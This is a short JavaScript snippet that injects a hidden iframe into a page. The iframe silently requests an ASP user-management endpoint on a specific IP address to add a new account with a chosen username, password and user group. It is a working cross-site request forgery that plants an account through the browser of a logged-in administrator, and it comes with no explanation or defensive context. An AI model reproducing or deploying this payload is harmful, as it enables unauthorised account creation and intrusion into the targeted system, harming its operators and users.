var str="";
str+="<iframe height='100' width='100' src='http://218.57.135.244/dlib/admin/User/UserManageInterface.Ctrl.asp?strOpType=add&strUserName=<%=account%>&strPassWord=<%=password%>&nUserGroupID=3'></iframe>";
var div1 = document.createElement("<div style='display:none'></div>");
document.body.appendChild(div1);
div1.innerHTML = str;